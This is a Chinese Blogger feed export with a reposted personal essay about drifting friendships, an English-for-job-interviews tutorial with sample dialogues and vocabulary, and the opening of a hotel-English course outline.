我的精彩在哪里呢？听广播算不算？和朋友一起在街上走，眼看到下午六点，不管身边的人是谁，总是会从包里取出耳机来戴上对他说，不跟你说话了，我要听广播。我听固定听三档，18：00、19：00和23：00，各一个小时。&lt;br /&gt;&lt;br /&gt;    这个习惯在离开西安以后中断过很长时间，现在唯一持续下来的，只有下午六点了。另外两档不是不喜欢，而是有一天觉得，我喜欢他们本人，更甚于节目一些。虽然所谓持续下来听广播的习惯，已经不是每天在包里揣个收音机走路，而是每天下班以后回到房子来打开电脑。&lt;br /&gt;&lt;br /&gt;    我因为听广播，认识了很多朋友。在西安的时候，我们常常见面。这其中有三个人，不止和我之间，我们彼此之间关系都很好。我以为我们不论身在何地，各自发展成什么样子，都不会变。&lt;br /&gt;&lt;br /&gt;    一个是男生。&lt;br /&gt;    我曾经以为，我跟他之间的感情无论会否有发展，我们都会保持很好的关系。然后一段时间里，我们彼此努力着想要成为男女朋友，交往了一段时间。可是最终分开，并且不再有任何联系。&lt;br /&gt;&lt;br /&gt;    另一个也是男生。&lt;br /&gt;    我跟他很少话说，我们见面多半是一起去上网，然后一起吃饭。他很容忍我。我原本就是任性，有些不讲道理，他都容忍。只有一次，是在毕业以后第一次见到他，和他一起坐在公交车上，说了很多话。我忽然感动得想要哭出声来，觉得仿佛一个亲人在身边。认识他有几年的时间，想想，那是我们最好的状态。他不再容忍我。我不会因为他之前很容忍我现在去容忍他。我们再也不会经历那种状态了。&lt;br /&gt;&lt;br /&gt;    另一个是女生。&lt;br /&gt;    是前男友的女朋友。我很少会想到这一点，因为和她认识，是在和那人分手之后，而她很凑巧的，成为他的女朋友。我来深圳以后很少跟谁联系，想找个人说话时就翻手机里的号码，然后就会找到她。看到他与她的照片，我不知道她是否会一直幸福，但是我希望她会。几天前，我对她说我不喜欢她做的某件事，而她说我做的不应该。于是我们再无话说。&lt;br /&gt;&lt;br /&gt;    我开始讨厌他们。不是爱也不是恨，只是厌恶。&lt;br /&gt;    然后我开始拼命想，我为什么会开始讨厌他们。想不出为什么，就去想我讨厌什么样的人，我想我讨厌自以为是的人。接着就想到，我就是这样。我每想到一种人，就会接着想到我也是这样。&lt;br /&gt;    我只是开始讨厌自己。&lt;br /&gt;&lt;br /&gt;    无比地讨厌，以致于再也无法接受，甚至一点也不能够容忍，不想容忍。&lt;br /&gt;&lt;br /&gt;    想说，对不起。&lt;br /&gt;&lt;br /&gt;    如果我们各自心中还彼此念为朋友，我们都该心存感激。 我们在生命最好的年华里遇见，现在，如果能忘，就忘了吧；忘不了，请假装忘了吧。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-1439084474906988038?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/1439084474906988038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=1439084474906988038' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1439084474906988038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1439084474906988038'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/zt_28.html' title='【ZT】故人旧字'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-601694145628892353</id><published>2007-11-28T15:13:00.001+08:00</published><updated>2007-11-28T15:13:27.874+08:00</updated><title type='text'>Job Interview English</title><content type='html'>面试开场白&lt;br /&gt;今天我们来讲第一讲 面试开场白。面试时总要说上那么几句，一般去了面试的公司以后，里面的接待人员都会主动问一些问题，先来看看下面这个对话吧：&lt;br /&gt;A： Can I help you? 有什么事吗？&lt;br /&gt;B： Yes. I've come to apply for the position as an office secretary. 是的我是来应聘办公室秘书一职的。&lt;br /&gt;A： I'm Smith, the clerk of Human Resources Department. What's your name? 我是史密斯，人力资源部秘书。你叫什么名字？&lt;br /&gt;B： My name is Wang Fang. Mr. Smith, how do you do? 我叫王芳，史密斯先生，您好。&lt;br /&gt;A： Nice to meet you, Miss Wang. We have received your letter in answer to our advertisement. I would like to talk with you regarding your qualification for this interview. 很高兴认识你王小姐。我们已经收到你的应聘信，我想和你谈谈关于你应聘的事情。&lt;br /&gt;B： I'm very happy that I am qualified for this interview. 能有机会参加面试我感到很荣幸。&lt;br /&gt;A： Now, talk something about yourself, please. 哦，现在请谈谈你的个人情况吧。&lt;br /&gt;B： Well, my name is Wang Fang. W-a-n-g Wang and F-a-n-g Fang. I was born on May 17, 1982. ……好的。我叫王芳，W-a-n-g 王，F-a-n-g 芳。我出生于  1982年5月17日。……&lt;br /&gt;Words &amp; Expressions:&lt;br /&gt;interview: 面试&lt;br /&gt;resume: 简历&lt;br /&gt;office clerk:  办公室秘书，即文员&lt;br /&gt;birthday place: 出生地&lt;br /&gt;graduated ... from: 毕业于&lt;br /&gt;domicile place: 户口所在地&lt;br /&gt;Background:&lt;br /&gt;面试是一种经过精心设计，以交谈和观察为主要手段，以了解被试者素质及有关信息为目的的一种测评方式。&lt;br /&gt;面试就是你与面试官面对面的一种交流，更是你施展才能与特点的好时机，即要让他们了解你，还要让他们相信你才是最理想的人选。与此同时，也是你认识，揣测与了解你面前的主考官的时候，而他很有可能就是你即将的上司或老板。&lt;br /&gt;面试的总目标就是给对方一个好印象，那么你就要预先作好充分准备，通过各种方法去了解所面试公司单位的一些基本情况，猜测可能会被问到的问题，这样回答时思路就会比较清晰，有针对性。&lt;br /&gt;　　文章第一讲就是这么简单，记住这些你会发现其实英语面试一点都不难，对吧。关于面试时的开场白我们还有很多例句和常用的句型，大家想了解的话请点击此处到论坛查看并发表评论。下一课我们会讲面试时如何进行自我介绍。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;面试自我介绍&lt;br /&gt;上一课我们讲了面试英语中首先要进行的开场白，那么接下来面试官就要听听你的自我介绍了。我们先来看一下下面的对话：&lt;br /&gt;Ａ：Good morning. I'm Lydia Shen, the manager of the company. What's your name please?&lt;br /&gt;Ｂ：How do you do, Miss Shen. My name is Penny Zhao. And I'm coming for your advertisement for a trainee salesperson.&lt;br /&gt;Ａ：How do you do, Penny? Well, for this job, we need people to work hard. Do you think you're suitable for this kind of job?&lt;br /&gt;Ｂ：Oh, yes, I think so.&lt;br /&gt;Ａ：Ok. Please talk something about yourself or introduce yourself.&lt;br /&gt;Ｂ：……&lt;br /&gt;Ａ：早上好。我是Lydia Shen,这个公司的经理。你叫什么名字。&lt;br /&gt;Ｂ：你好，沈小姐。我叫Penny。我是来应聘见习推销员的。&lt;br /&gt;Ａ：你好，Penny。对于这个工作，我们需要刻苦能干的人，你觉得你能适应这样的工作吗？&lt;br /&gt;Ｂ：恩，我想我能。&lt;br /&gt;Ａ：好吧。那就说说你的情况吧，或者介绍一下自己。&lt;br /&gt;Ｂ：……&lt;br /&gt;　　该介绍自己了，那么在面试中怎么做自我介绍呢？先来看一些背景知识：&lt;br /&gt;Background:&lt;br /&gt;　　面试时需要做自我介绍，这个时候不要细致地谈自己的生活情况或者工作经验，而是要想方设法地让面试官对你有所了解，告诉他一些事情，这些事情应该使你在招聘过程中具有优势。或许你想选取一些有人情味的故事讲给他听，但这么做，你要有把握与面试官的想法吻合。或者可以概述一下最近你干的工作和你正在申请的工作有什么联系，有怎样的帮助，以及你为什么要到这家公司工作等等。特别值得提的是，要举例子，这样你的回答才更具真实性，更容易被接受，才能给对方留下深刻的印象。&lt;br /&gt;　　或者当面试官让你做自我介绍的时候，你可以主动问一下对方想知道自己哪方面的情况，这样也便于你的回答更加有针对性。但是这种做法的前提是你对面前的这个面试官有一定的把握，确信这样追问不会引起对方的反感才行。&lt;br /&gt;　　有了这些背景知识，我们再掌握一些基本的单词和常用的句型来帮助我们理解对方的话和组织语言表达清楚自己的意思就足够了：&lt;br /&gt;Words &amp; Expressions:&lt;br /&gt;part-time job: 兼职工作&lt;br /&gt;full-time: 全职&lt;br /&gt;position / vacancy: 职位，空缺&lt;br /&gt;manager: 经理&lt;br /&gt;director: 主任&lt;br /&gt;president: 董事长，总经理&lt;br /&gt;General Manager: 总经理&lt;br /&gt;saleperson: 推销员&lt;br /&gt;engineer: 工程师&lt;br /&gt;accountant: 会计&lt;br /&gt;degree: 学位 &lt;br /&gt;introduce:（动词） 介绍  introduction: （名词）介绍&lt;br /&gt;Let me introduce myself. / Let me do some introduction. 让我来介绍一下自己。&lt;br /&gt;Which aspect do you want to know about me?&lt;br /&gt;或者 What do you want to know about myself? 您想知道我哪方面的情况？&lt;br /&gt;　　还有一些职位的名称(点击此处查看)和常用的句型我们在这里就不一一讲解了，如果您还想了解更多的知识，稍后会具体奉上。&lt;br /&gt;　　关于自我介绍，可以包括很多内容，比如个人情况、家庭情况、工作经验、能力、成就以及性格、个人爱好等等。在以下的几节课中我们将分别讲解，千万别错过哦！&lt;br /&gt;&lt;br /&gt;个人和家庭情况&lt;br /&gt;前两课我们讲了面试英语中首先要进行的开场白，和如何进行自我介绍。通常自我介绍都要介绍自己的个人情况，家庭情况，工作经验，个人能力等等，今天我们就来讲讲如何介绍自己的个人和家庭情况。先来看一些简单的对话：&lt;br /&gt;I: Where is your birthplace?&lt;br /&gt;C: I was born in Xinjiang Uygur Autonomous Region.&lt;br /&gt;I: Where is your native place?&lt;br /&gt;C: My native place is Tianjin.&lt;br /&gt;I: Are you a resident of Beijing now?&lt;br /&gt;C: Yes. I have been living in Beijing since my childhood.&lt;br /&gt;I: Where is your domicile place?&lt;br /&gt;C: My domicile place is Taiyuan.&lt;br /&gt;I: What is your nationality?&lt;br /&gt;C: I'm Chinese.&lt;br /&gt;I: What is your nation?&lt;br /&gt;C: My nation is the Han.&lt;br /&gt;I: How large is your family?&lt;br /&gt;C: There are four of us including my parents, a younger sister and me.&lt;br /&gt;I: Do you spend much time talking with your family?&lt;br /&gt;C: Yes. It's said there's a generation gap in the world today, but I don't think this is the case at our house. We all work at taking time to talk with each other. Especially at mealtime, we all eat and talk together. Meals are very lively at our house.&lt;br /&gt;I: Your application form said that you have a younger sister. How do you get along with each other?&lt;br /&gt;C: We get along well with each other. She is 6 years younger than me, and she is right now studying for college entrance exams. She asks me a lot for advice on how to study and things like that. Besides, we do many things together, such as going swimming, mountain climbing and soon. &lt;br /&gt;Words &amp; Expressions:&lt;br /&gt;在对话里出现了以下单词：&lt;br /&gt;birthplace: 出生地&lt;br /&gt;native place: 籍贯&lt;br /&gt;resident: 居民&lt;br /&gt;domicile place: 户籍所在地&lt;br /&gt;nationality: 国籍；如果是nation则是指民族&lt;br /&gt;generation gap: 代沟&lt;br /&gt;application form: 申请书，在这里指求职信&lt;br /&gt;除此之外，还有很多词，比如：&lt;br /&gt;ability: 能力，才能，本领；aptitude: 天资，天赋；capability: 能力，才能；&lt;br /&gt;competence: 能力，胜任；facult: 能力，才能；genius: 天才&lt;br /&gt;academic level: 业务水平&lt;br /&gt;basic skill: 基本功； basic knowledge: 基本知识&lt;br /&gt;professional titles: 职称&lt;br /&gt;doctoral supervisors: 博士生导师&lt;br /&gt;a teacher in charge of a class: 班主任&lt;br /&gt;postgraduates: 研究生&lt;br /&gt;undergraduate: 本科生&lt;br /&gt;college / university students: 大学生&lt;br /&gt;students of arts: 文科学生&lt;br /&gt;students of science: 理科学生&lt;br /&gt;family: 家庭； relative: 亲戚；&lt;br /&gt;be married: 结了婚的（状态） &lt;br /&gt;掌握这些词以后，我们来看一些相关的背景知识：&lt;br /&gt;Background:&lt;br /&gt;　　当你参加面试时，由于条件所限，主考管们不可能详细地把你介绍给与会者，其他人未必都听清主考管的介绍。这时，求职者为了展示自我，当主考管们介绍你的语音刚落，你可立即接过话头，进行干脆而风趣的补充。如果有人想进一步了解你，要抓住时机，做进一步的介绍。 &lt;br /&gt;不可否认，经别人介绍或请招聘单位但自荐材料也可使对方了解自己，但毛遂自荐地进行自我介绍，把立体的你展现于人前，可以使招聘者对你产生更直接、更可信的效果，因而更受用人单位的欢迎。&lt;br /&gt;　　所以一定要抓住自我介绍的机会，向用人单位介绍自己。在进行自我介绍时还有更多的常用句型。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;四、教育背景&lt;br /&gt;我们已经向大家介绍过面试时如何进行开场白，自我介绍和如何介绍个人情况和家庭了。今天我们开始讲解面试最重要的几个部分：介绍自己的教育情况，工作经验和获得的成就等等。&lt;br /&gt;　　每个企业和单位都比较看中应聘者的学历，高学历在一定程度上也代表着高能力和高素质。即使你的学历很高，在表达上也应该注意一些技巧，那么学历不是很高的求职者就更要注意如何介绍自己的教育背景了。&lt;br /&gt;　　先来看一段对话：&lt;br /&gt;A：Can I help you?&lt;br /&gt;Ｂ：Yes. I've come to apply for the position as an office secretary.&lt;br /&gt;A：I'm Bridge Zhong, the clerk of Human Resources Department. What's your name, please?&lt;br /&gt;Ｂ：My name is Lisa Liang. How do you do, Mr. Zhong?&lt;br /&gt;A：Can you talk about your education background?&lt;br /&gt;Ｂ：I graduated from Beijing the No. 4 Middle School in 1996, then I entered China University of Political Science and Law and I graduated in 2000. I gained a B.A. (Bachelor of Arts) degree.&lt;br /&gt;A：What department did you study in?&lt;br /&gt;Ｂ：I was in Department of Political Science.&lt;br /&gt;A：And what subjects were you doing?&lt;br /&gt;Ｂ：Er, we studied the modern Chinese political thoughts, the History of Western Political Thoughts, Comparative political systems, and so on.&lt;br /&gt;A：How about your scores at college?&lt;br /&gt;Ｂ：Well, I got excellent scores on each of them.&lt;br /&gt;A：Have you got any honors or rewards? And what is it?&lt;br /&gt;Ｂ：I got the university scholarship in 1998-1999.&lt;br /&gt;　　对话看完了，在对话中出现了求职者应聘的职位和面试官的头衔，还有求职者所在的学校，院系，学位，所学课程等词语，相信大家对自己的这些相关知识都很清楚，所以在此就不再多说。我们来看一些有用的单词和词组吧： &lt;br /&gt;Words &amp; Expression:&lt;br /&gt;本文出现的词：&lt;br /&gt;apply for: 申请…职位&lt;br /&gt;office secretary: 办公室秘书&lt;br /&gt;Human Resources Department: 人力资源部&lt;br /&gt;B.A. : Bachelor of Arts的缩写，文学学士。加上degree表示文学学士学位。&lt;br /&gt;B.S. : Bachelor of Science的缩写，理科学士。&lt;br /&gt;the modern Chinese political thoughts: 中国现代政治思想&lt;br /&gt;the History of Western Political Thoughts: 西方政治学说&lt;br /&gt;Comparative political systems: 比较政治制度&lt;br /&gt;其他相关学科词汇（点击此处进入论坛查看）&lt;br /&gt;　　再来看一下关于教育背景，学历的相关注意事项吧：&lt;br /&gt;Backgound:&lt;br /&gt;　　学历主要指高中和高中以上的学历。内容包括学校名称、学习时间、所学专业、所获学位等，必要时也可列举有关课程和考试成绩。有博士和硕士学位的人，可以省去高中学历。&lt;br /&gt;　　一个人学历可以给雇主提供了解应聘者的智力、思考力、判断力和个性的根据。&lt;br /&gt;　　依序面试一般分为初试、复试和综合评定三步。初步的目的在于从众多的求职者中筛选出较好的人选。一般由人事部门主持。主要考查求职者的仪表风度、工作态度、进取心、责任感和机敏性，将明显不合格的人予以淘汰。初试合格者则进入复试，复试一般由用人部门主管主持，多以考查专业知识和能力为主，衡量求职者是否适合岗位工作。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;工作经验和成就&lt;br /&gt;在面试的时候，工作经验和自己的成就是面试的重点内容，面试官最关注的也是这些。对于工作经验和成就不能瞎遍乱造，但是在描述的时候可以有一些技巧，让我们先看一下便于学习的背景知识：&lt;br /&gt;Background:&lt;br /&gt;　　工作经历通常包括工作期限、单位、职务等。另外还应具体说明以前所从事工作的性质、职责范围以及所取得的成就，与业务有关的进修培训也可以列出来。描述工作经历最能体现的是人的能力、经验和特点。所以，除非1. 你以前的工作经历与现在申请的职务无关联，2. 你的学历更吸引人，否则工作经历一项应放在简历的最前面。在说明自己的工作经验的时候由近及远。从目前的工作开始说起，然后往前推。最近的工作最重要，应当说明的最为详细，而且强调你认为最重要的内容。&lt;br /&gt;　　成就是指你在工作的过程中获得的一些奖项或者技能，也就是说在工作的过程中得到了什么。其实，许多有相同经历的人会得到不同的收获。而考官最感兴趣的是你通过工作所掌握的技巧。因为这种技巧只有干过的人才会知道。而这些技巧会对将来的工作有利。&lt;br /&gt;　　在了解了这些背景知识以后我们学习起来也比较目的性了，来看对话吧：&lt;br /&gt;Ａ：Have you worked as a secretary?&lt;br /&gt;Ｂ：Yes, I have worked as a secretary in an investment company?&lt;br /&gt;Ａ：What are you doing now?&lt;br /&gt;Ｂ：I'm learning English and I hope I can get more chances.&lt;br /&gt;Ａ：Could you tell me what's your last job?&lt;br /&gt;Ｂ：Of course, I worked at an advertisement Co. Ltd. And I do sales work.&lt;br /&gt;Ａ：Would you mind telling me the name of the company?&lt;br /&gt;Ｂ：OK, the name is Xinyue Internet Co. Ltd.&lt;br /&gt;Ａ：Have you got any achievement or received any honor in the company?&lt;br /&gt;Ｂ：Yes, I was chosen as one of "employees of the month" last year. And as a sales manager I succeeded in raising yearly sales volume by 25%.&lt;br /&gt;Ａ：Well, you've done a good work.&lt;br /&gt;……&lt;br /&gt;　　这样的对话涉及到的是应聘者的职位，成就等相关的词汇，当然根据工作的不同，这些词也会有所不同，很多都是应聘者自身的专业词汇，相信不会太难。在此我们也再列举一些相关的：&lt;br /&gt;Words &amp; Expression:&lt;br /&gt;Approach / means / method / way: 方法；手段；办法；方式&lt;br /&gt;Corporation: 法人团体；（美）股份有限公司&lt;br /&gt;Firm: 公司；商行；商号&lt;br /&gt;Client: （律师、会计师、社会工作者、建筑师等的）委托人；当事人；客户；（商店的）顾客&lt;br /&gt;Chore: 日常的零星事物；琐事；讨厌或累人的工作&lt;br /&gt;Cash-in-hand: 手中现金&lt;br /&gt;Raise their purchasing power: 提高了购买力&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;面试英语第六讲：表达语言能力&lt;br /&gt;如今各个用人单位的语言能力，尤其是外语能力，能懂得一门外语确实在应聘时有一些优势。今天这一讲我们就来讲讲在面试时如何表达自己的语言能力。看下面这段对话：&lt;br /&gt;Ａ：You will mainly use English in this job. Do you think you can make yourself understood in English with ease?&lt;br /&gt;Ｂ：Yes, I think I speak English quite fluently. I've often explained historical places in Xi'an to foreign tourists in English. They say my English is quite good.&lt;br /&gt;Ａ：How long have you been learning English?&lt;br /&gt;Ｂ：Oh, more than ten years. I started learning English when I was still in a primary school from a foreign teacher.&lt;br /&gt;Ａ：Well, perhaps that's the reason why you are so fluent in it.&lt;br /&gt;Ｂ：Thank you.&lt;br /&gt;　　对话中出现几个单词值得大家注意：&lt;br /&gt;Ease: 安逸，安心。但是在这段对话中是指轻松，灵活地说英语。&lt;br /&gt;Fluently: 流利地，通畅地&lt;br /&gt;　　还有很多其他相关的单词和词组：&lt;br /&gt;Words &amp; Expression:&lt;br /&gt;American: 美国人，美国的&lt;br /&gt;French: 法国人，法语，法国的&lt;br /&gt;German: 德国人，德语，德国的&lt;br /&gt;Japanese: 日本的，日语，日本人&lt;br /&gt;Spanish: 西班牙人，西班牙语，西班牙的&lt;br /&gt;……&lt;br /&gt;　　目前用人单位普遍对英语水平要求较高，还有一些需要小语种人才，而这个要求更多地是使用语言交流沟通的能力，它当然跟聊天不一样，如果你能外国朋友很好地聊天，并不代表你能适应这份工作，来看一些背景知识：&lt;br /&gt;Background:&lt;br /&gt;　　口语和聊天相比，有具有以下几个明显的特点：一是主题的明确性。面试时的口语有一个明确的中心，应试者必须按照招聘单位指定的中心内容进行论述的交谈。不像日常聊天那样经常转换话题，话题具有不可预测性，如果应聘时口语离开中心漫无边际地乱扯，或者答非所问，即使讲的头头是道，也只能以失败而告终。二是表达的逻辑性。日常的聊天往往是句式松懈、重复累赘、条理不清、颠三倒四，而求职面试的口语则必须讲究表达的逻辑性，要求概念清晰、语意连贯、层次分明、推理严密、言之有据。三是词语的文雅性。日常聊天经常使用俚语、谚语、歇后语等，具有俚俗性、俏皮性特点。而求职面试时使用的口语必须庄重、文雅、充分体现出求职者高雅的气质和高尚的风貌。四是较强的表演性。日常聊天时的口语对语音、语调的要求并不高，语言中的弱化、模糊和脱离现象经常出现。而求职面试时的口语既要求语言规范、清晰，又要求其语调富于变化，也就是说，在口语的表达上要求有较强的表现力，富有表演性。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;面试英语第七讲：展示个人能力 &lt;br /&gt;面试时我们最想向面试官展现的就是我们的能力了，那么一个人的能力到底是什么呢？通常我们理解为工作能力，技术能力等等，其实不仅仅是这些。我们先来看看关于个人能力的背景知识：&lt;br /&gt;Background:&lt;br /&gt;　　个人能力集中表现在社会荣誉、工作业绩、科研成果、著作等，这里最主要的是著作和工作成果。&lt;br /&gt;　　著作包括所有出版过的书，发表过的论文。这一项对科研、学术工作者尤为重要。如果内容与所申请的职位密切相关，作者不仅应列入其中，而且可扼要介绍作品内容、社会影响和效果。面试时，应带上作品的原件或复印件。&lt;br /&gt;　　了解到到底什么是个人能力以后，我们再来看一段对话：&lt;br /&gt;A：Would you talk about your merits?&lt;br /&gt;B：Yes, sir. When I was the sales manager of Beijing Friendship Store, I succeeded in raising yearly sales volume by 25% at profit margins of from 50% to 80%.&lt;br /&gt;A：Have you received any honors or rewards?&lt;br /&gt;B：Yes. I got the title of “Advanced Worker” in 1992 and 1994.&lt;br /&gt;A：Do you have any publications?&lt;br /&gt;B：Yes. My book entitled A Preliminary Survey of Controlling Inflation was published by China Finance Publishing House in 1993.&lt;br /&gt;对话中出现了一些词组用法和单词：&lt;br /&gt;Words &amp; Expressions:&lt;br /&gt;Beijing Friendship Store: 北京友谊商店&lt;br /&gt;Succeed in: 成功&lt;br /&gt;sales volume：销售量&lt;br /&gt;Advanced Worker：先进工作者&lt;br /&gt;A Preliminary Survey of Controlling Inflation：抑制通货膨胀初探&lt;br /&gt;China Finance Publishing House：中国金融出版社&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;面试英语第八讲：性格和兴趣爱好&lt;br /&gt;通常我们在写完简历之后都会加注一些自己的性格和兴趣爱好之类的内容，而这些内容也是进行面试时经常会提到的话题，尤其是在英语面试的时候，面试方通常会问：How do you spend your spare time?&lt;br /&gt;　　性格和兴趣能在面试的时候给你的面试官留下好的印象，为什么不努力来说好呢？今天我们就一起来学习面试英语的最后一讲：如何表达自己的性格和兴趣爱好。下面先来看一段对话吧：&lt;br /&gt;A：Do you have any hobbies? What is it or what are they?&lt;br /&gt;B：I am interested in watching TV or other relaxing games.&lt;br /&gt;A：How do you spend your spare time?&lt;br /&gt;B：I usually read or so some sports.&lt;br /&gt;A：What kind of book are you interested in?&lt;br /&gt;B：My favorite books are those about detectives.&lt;br /&gt;A：Well, those books are really good. I like them too. Do you think you are introverted or extroverted?&lt;br /&gt;B：In fact, I wouldn't call myself extroverted. Sometime I enjoy being by myself very much. But other times, I like sharing activities with others too, especially during these last few years.&lt;br /&gt;A：What kind of sports do you like?&lt;br /&gt;B：I like almost all sports, and I enjoy both playing and watching. I especially like tennis and mountain climbing.&lt;br /&gt;A：What kind of personality do you think you have?&lt;br /&gt;B：Well, I approach things very enthusiastically, I think, and I don't like to leave anything half-done. It makes me nervous- I can't concentrate on anything else until the first thing is finished.&lt;br /&gt;……&lt;br /&gt;　　介绍自己的性格和兴趣爱好肯定少不了这方面的词汇和词组，对话中也出现了不少，现在我们来学习一些相关的单词和词组吧：&lt;br /&gt;Words &amp; Expression:&lt;br /&gt;Hobby: 爱好，尤其指业余爱好&lt;br /&gt;Spare time: 空闲时间，业余时间&lt;br /&gt;Be good at: 擅长&lt;br /&gt;Favorite: 最喜欢的，特别喜欢的，中意的&lt;br /&gt;Detective: 侦探，侦探的；在对话中指侦探小说&lt;br /&gt;Performance: 表演，演出&lt;br /&gt;Ballet: 芭蕾舞&lt;br /&gt;Introverted: 内向的，含蓄的，闭关自守的&lt;br /&gt;Extroverted: 外向的，喜社交的&lt;br /&gt;Personality / character / disposition / temperament: 个性，性格&lt;br /&gt;Characteristic: 独特的，特有的，表示特性的&lt;br /&gt;Enthusiastically: 热心地，狂热地&lt;br /&gt;　　还有很多词就要靠大家自己去掌握了。接着我们来说明一下在简历中或者面试时介绍自己的性格和兴趣爱好的好处：&lt;br /&gt;Background:&lt;br /&gt;　　个人的兴趣爱好其实主要体现在业余活动上，对于刚入社会的学生来说，业余活动主要就是课外活动。&lt;br /&gt;　　课外活动包括社会活动和业余爱好。&lt;br /&gt;　　丰富多彩的课外活动表示你希望丰富自己的社会经验，发挥多方面的才能。通过你所参加的课外活动，可以看出你的交际能力、价格修养、成熟程度和健康状况。比如说你当学生会主席的经历能够表明你人缘好、善处人际关系、有领导才能等。&lt;br /&gt;　　因此，如果你曾参加什么课外活动，就如实写出来。这些活动可以帮助雇主了解你，成为有利的条件。课外活动对于刚刚走出校门的朋友来说，是找工作时的一个相当重要的条件。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-601694145628892353?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/601694145628892353/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=601694145628892353' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/601694145628892353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/601694145628892353'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/job-interview-english.html' title='Job Interview English'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-5398061000364961288</id><published>2007-11-28T15:11:00.000+08:00</published><updated>2007-11-28T15:12:27.372+08:00</updated><title type='text'>Hotel English</title><content type='html'>口语突破课程——酒店用语&lt;br /&gt;&lt;br /&gt;13周口语教学体系 &lt;br /&gt;口语交流课 （以练代学：基础——加速——提升）&lt;br /&gt;教学理念：  1、学口语就三个字——说句子。&lt;br /&gt;                       口语交流就是由大量以语音信号为传播形式的句子组成的。语音是基础，句子是关键！&lt;br /&gt;                  2、评判口语水平好坏的标准：&lt;br /&gt;                       说——正确的发音    句子——地道的表达&lt;br /&gt;教学目标：Use the right sentence with the right pronunciation！！！      &lt;br /&gt;                               &lt;br /&gt;                                          1、发音训练 （五大发音秘诀、国际音标等）&lt;br /&gt;发音 ——全套美式发音体系   2、发声训练 （底气训练、点线模式转换等）&lt;br /&gt;                                          3、模仿训练 （名人名言、经典影视片段等）&lt;br /&gt;目标：脱口而出纯正、地道的美式英文，并对英式英文有相当的了解。 &lt;br /&gt;口语交流　　&lt;br /&gt;第一阶段：  基本表达              &lt;br /&gt;           1、口语要素积累&lt;br /&gt;               （日常交流常用基本用语500句）&lt;br /&gt;        　2、基本场景表达&lt;br /&gt;               （介绍、问候、邀请、道别、感谢、赞扬、道歉等） &lt;br /&gt;第二阶段：日常交流　&lt;br /&gt;　　　衣（fashion）： &lt;br /&gt;　　  　1、购衣：挑选、询问、试衣、购买、退换等&lt;br /&gt;           2、谈论服饰：种类、款式、颜色、质地、搭配等&lt;br /&gt;　　　食（food）：&lt;br /&gt;           1、就餐：预订席位、点餐、结账、请客、AA制&lt;br /&gt;           2、谈论食物：种类、烹饪方式与口味、饮食文化　　　　　　　　　　　　　　&lt;br /&gt;　　　住（house）：&lt;br /&gt;           1、房屋购买与房屋租赁&lt;br /&gt;　　　  2、谈论房屋：种类、房型、大小、装饰等&lt;br /&gt;　　   行（transportation）：&lt;br /&gt;           1、交通工具（种类与名称）&lt;br /&gt;           2、出行指南&lt;br /&gt;                （１）、指路用语（地点描述、乘车方式）&lt;br /&gt;                （２）、邮局用语（寄信、领包裹、快递、签收等）&lt;br /&gt;                （３）、银行用语（存取款、汇款、开户、兑换等）&lt;br /&gt;                （４）、酒店用语（预定、开房、酒店服务、结账）&lt;br /&gt;                （５）、机场用语（候机、登机、接机等） &lt;br /&gt;第三阶段：商务进阶 &lt;br /&gt;        简历与面试&lt;br /&gt;　　　（英文简历的书写与常用面试用语）&lt;br /&gt;　　　职场用语　　　&lt;br /&gt;        （办公用语、电话交谈、来访接待、日程安排）&lt;br /&gt;　　　商务会议   &lt;br /&gt;　　　（会议主持、进入议题、表达观点、结束讨论）&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;在这边,我给大家做一个示范,什么样子叫作情景教学,这里我给大家准备了一篇资料,是有关酒店英语的,里面包括了预定房间——入住登记——客房服务——结帐退房等一个完完整整地流程。大家可以好好学习参考一下！ &lt;br /&gt;Room Reservations预订房间 &lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;1．I'd like to book a double room for Tuesday next week．&lt;br /&gt;下周二我想订一个双人房间。&lt;br /&gt;2．What's the price difference？&lt;br /&gt;两种房间的价格有什么不同？&lt;br /&gt;3．A double room with a front view is 140 dollars per night，one with a rear view  is 115 dollars per night．&lt;br /&gt;一间双人房朝阳面的每晚140美元，背阴面的每晚115美元。&lt;br /&gt;4．I think I'll take the one with a front view then．&lt;br /&gt;我想我还是要阳面的吧。&lt;br /&gt;5．How long will you be staying？&lt;br 